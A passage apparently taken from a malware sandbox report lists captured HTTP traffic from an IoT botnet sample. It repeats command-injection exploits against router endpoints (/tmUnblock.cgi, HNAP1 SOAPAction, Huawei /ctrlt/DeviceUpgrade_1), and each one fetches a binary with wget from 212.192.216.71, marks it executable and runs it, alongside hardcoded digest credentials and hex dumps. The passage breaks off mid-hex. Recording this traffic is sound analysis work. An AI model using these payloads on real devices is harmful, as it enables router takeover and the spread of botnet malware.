67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 